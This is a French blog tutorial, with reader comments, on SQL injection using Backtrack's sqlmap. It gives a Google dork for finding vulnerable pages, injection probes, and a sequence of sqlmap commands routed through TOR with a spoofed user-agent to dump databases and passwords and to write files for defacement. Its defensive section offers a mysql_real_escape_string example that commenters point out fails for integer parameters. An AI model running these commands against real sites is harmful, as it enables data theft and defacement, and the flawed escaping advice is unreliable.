Backtrack – Injections SQL

Dans l’article consacré à l’exploitation de faille, j’ai évoqué l’exemple d’une attaque avec Metasploit sur un système d’exploitation.

Je ne peux pas parler de ce sujet sans aborder les injections SQL. Toutefois, la lecture de ces quelques lignes requiert certaines connaissances en base de données SQL. Je ne ferai aucun rappel sur ce langage.

 

 

 

Voici le plan de cet article :

  • Définition
  • Exploitation
  • Impact
  • Se protéger

Bien entendu, cet article a pour vocation d’expliquer comment les hackers font, et comment se protéger des attaques de ce type.

 

  • Définition

Une injection SQL est une méthode d’exploitation d’une faille de sécurité liée à une base de données. Elle consiste via une application utilisant une base de données SQL à injecter une requête qui permettrait d’obtenir beaucoup d’informations allant de la version du serveur jusqu’à la base de données complète. Nous allons voir dans la partie “Impact” ce qui est exploitable également.

Techniquement, une injection SQL via un site web consiste à exploiter une variable non protégée appelée via une URL.

Voici un bref exemple : “http://www.target.com/photos.php?id=1

Cette URL affiche par défaut la page d’identifiant 1 par rapport à la base de données.
En fin de compte, cette URL pourrait ressembler à cette requête SQL :

SELECT *
FROM photos
WHERE 'id_photos = 1' ;

Cette requête pourtant simple permet toutefois beaucoup de choses si le code PHP a été mal programmé. Nous y reviendrons plus tard.

  • Exploitation

La meilleure explication est l’exemple.

Le hacker va tout d’abord chercher sa victime en fouillant le site Internet cible. Il pourra notamment s’aider de Google.

Par exemple, il va rechercher sur Google tous les “gallery.php” utilisant des ID :
inurl:gallery.php?id=

Dans la plupart des cas, les sites Web sont faits à l’aide de CMS, ou alors codés entièrement à la main. Mais il arrive que ces CMS ne soit pas à jour, ou alors que le développeur web n’est pas pris soin de protéger les variables utilisées par les URL.

Lorsque le hacker va tomber sur une page de ce style, il va remplacer le 1 par un -53 par exemple, de manière à provoquer une erreur.

Si le message suivant apparaît, vous pouvez être sûrs qu’une injection SQL est possible :

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/users/site/html/gallery.php on line 248

En fait, j’irai même plus loin en disant que si http://www.target.com/photos.php?id=1 affiche la même chose que http://www.target.com/photos.php?id=1+AND+1=1 ou/et que http://www.target.com/photos.php?id=1+AND+1=2 diffère de la 1ère page, il y a vulnérabilité.

Avec la distribution Backtrack, voyons maintenant ce que l’on peut faire. L’excellent outil “SQLmap” nous permettra de réaliser tous les tests nécessaire pour une injection SQL.

Je vais vous montrer quelques commandes (je n’invente rien, j’ai juste lu la doc ;-) ).

Note : Dans toutes mes commandes, j’utilise TOR pour rester anonyme, ainsi qu’un générateur d’USER-AGENT pour que le serveur web distant ne détecte pas de requêtes HTTP provenant d’un certain “SQLmap”.

Pour exécuter ces commandes, il faut avant se rendre dans le répertoire /pentest/database/sqlmap. Il faut également remplacer quand c’est le cas dans mes commandes $url par l’URL du site, $db par le nom de la base de données, $table par le nom de la table, $column par le nom de la colonne et $sql par la requête SQL voulue.

Auditer si l’URL est vulnérable :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent

Si le site est vulnérable, il vous le dira explicitement.

C’est le cas pour notre exemple, passons à la suite.

Lister les privilèges SQL avec l’injection SQL :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –privileges

Lister les bases de données :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –dbs

Indiquer le nom de la base de données où l’injection SQL se fait :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –current-db

Montrer les mots de passe d’accès à la base de données :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –passwords

Lister les tables sur 5 threads (plus rapide) :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –tables -D $db –threads=”5″

Lister les colonnes :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –columns -D $bdd -T $tables

Dumper le contenu d’une table :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –dump -D $db -T $table –threads=”5″

Exécuter une requête SQL :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –sql-query=”$sql” -D $db

Si vraiment le serveur est mal configuré, il est aussi possible d’écrire un fichier (utilisé lors de defacements) :
python sqlmap.py -u $url -v 1 –proxy=http://localhost:8118 –random-agent –file-write=$file –file-dest /var/www/public_html/

SQLmap s’utilise aussi avec Metasploit :

$ msfconsole
 
                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##
 
msf > use auxiliary/scanner/http/sqlmap
msf auxiliary(sqlmap) > set RHOSTS [TARGET HOST RANGE]
msf auxiliary(sqlmap) > run

Vous l’aurez compris, cet outil est hyper puissant, d’ailleurs j’insiste sur le fait que pour obtenir de meilleurs résultats, il est important de le mettre à jour régulièrement avec l’option –update.

  • Impact

Quel impact d’une telle attaque ?
La liste peut être longue, mais je vais faire court :

– compromission d’une partie ou d’une entière base de données, qui peut contenir des informations précieuses : logins, mots de passe, e-mails, coordonnées bancaires, etc.
– compromission d’autres bases de données quand un seul utilisateur existe pour 150 bases de données (sisi je vous jure, ça existe).
– compromission des données du serveur Web (on a vu qu’on pouvait dans certains cas écrire sur le serveur).

  • Se protéger

Il existe à chaque niveau des moyens pour se protéger contre les injections SQL.

Je vais partir des couches basses pour remonter peu à peu :

– Installer un équipement de détection d’intrusion de type IDS et mettre régulièrement à jour la base de données qui contient les “exploits” connus.
– Installer un SGBDR connu, et le mettre à jour très régulièrement. Par exemple, MySQL est très performant, mais nécessite toutefois d’être mis-à-jour souvent.
– Utiliser au mieux toutes les fonctionnalités des bases de données : pour chaque site par exemple, créer sa base de données, son utilisateur SQL, avec un minimum de droits. Bien entendu, le concept d’un seul utilisateur avec tous les droits partout est à proscrire !!!
– Utiliser un serveur Web reconnu et le mettre à jour souvent. Apache est très bien reconnu dans le domaine.
– Enfin, il est plus qu’obligatoire de protéger toutes les variables utilisées.

Exemple : $id = mysql_real_escape_string($_POST['id']);

Dans ce domaine, voici un lien très intéressant. Si vous n’y connaissez rien, utiliser un CMS bien reconnu, et mettez-le à jour dès que possible ! (WordPress par exemple)

En résumé : utiliser des outils connus et les mettre à jour régulièrement.

En conclusion, SQL est un langage surpuissant, qui demande beaucoup de connaissances. Négliger la sécurité dans les couches hautes, peut compromettre tout le reste. Imaginer le pire : intrusion sur un serveur web via injection SQL, accès à d’autres serveurs via une connexion de pont, dump de toutes les bases de données, defacement de sites web…

Aujourd’hui, les injections SQL sont les vulnérabilités les plus utilisées sur le Web.
A bon entendeur…

  • iXgof2%@r8^c8$&0

    Lol,

    le mysql_real_escape_string dans ce cas ne protège pas de la sqli…. Il faut caster l’entier

  • Sh4!63UL@DOrtyNw

    ou encore mieux utiliser les requêtes préparées.

    http://php.net/manual/fr/pdo.prepare.php

  • Emilien

    Ceci n’était un exemple, mais tu as raison les requêtes préparées sont LA solution, comme il en existe plusieurs, et le but de mon article est de montrer qu’il faut les exploiter. Merci de ta remarque. Sinon je comprends pas trop ton “lol”, je vois pas ce qu’il y a de drôle ;-)

  • kamal

    Merci frangin pour cet effort…Tu sais je suis un débutant et je veux apprendre à utiliser BACKTRACK si tu as des tutos et des conseils soit généreux avec moi merci :)

  • http://sql.sh/ Tony

    Article très intéressant. C’est informatif et didactique. Lorsqu’on cherche le message d’erreur PHP (le Warning) sur Google il y a vraiment une multitude de résultat, même en mettant de côté les forums. Donc il y a potentiellement de nombreux sites sur internet qui peuvent avoir un problème de sécurité.